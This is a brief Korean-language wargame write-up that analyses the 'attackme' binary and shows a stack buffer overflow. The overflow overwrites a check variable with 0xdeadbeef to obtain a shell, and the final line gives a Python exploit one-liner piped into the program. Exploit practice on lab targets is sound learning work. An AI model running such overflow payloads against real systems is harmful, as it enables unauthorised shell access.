attackme의 코드를 훑어봅시다.
각가 crap 4바이트 check 4바이트 buf 20바이트를 할당해주고 fgets함수로 buf에 입력 받은 값을 집어넣습니다.
이번 문제는 if문을 실행하는 부분의 메모리주소만 찾으면 되겠습니다.
56바이트 만큼의 공간을 할당하고 값을 받아옵니다. ebp-16 에서 if문의 조건절을 검사하므로 굳이 메모리의 구조를 알지 못하더라도 쓰레기값을 40바이트를 주고 0xdeadbeef를 넣으면 shell을 얻을 수 있다는 것을 알아냈습니다.
(python -c 'print "A"*40 + "\xef\xbe\xad\xde"';cat)|./attackme
끝!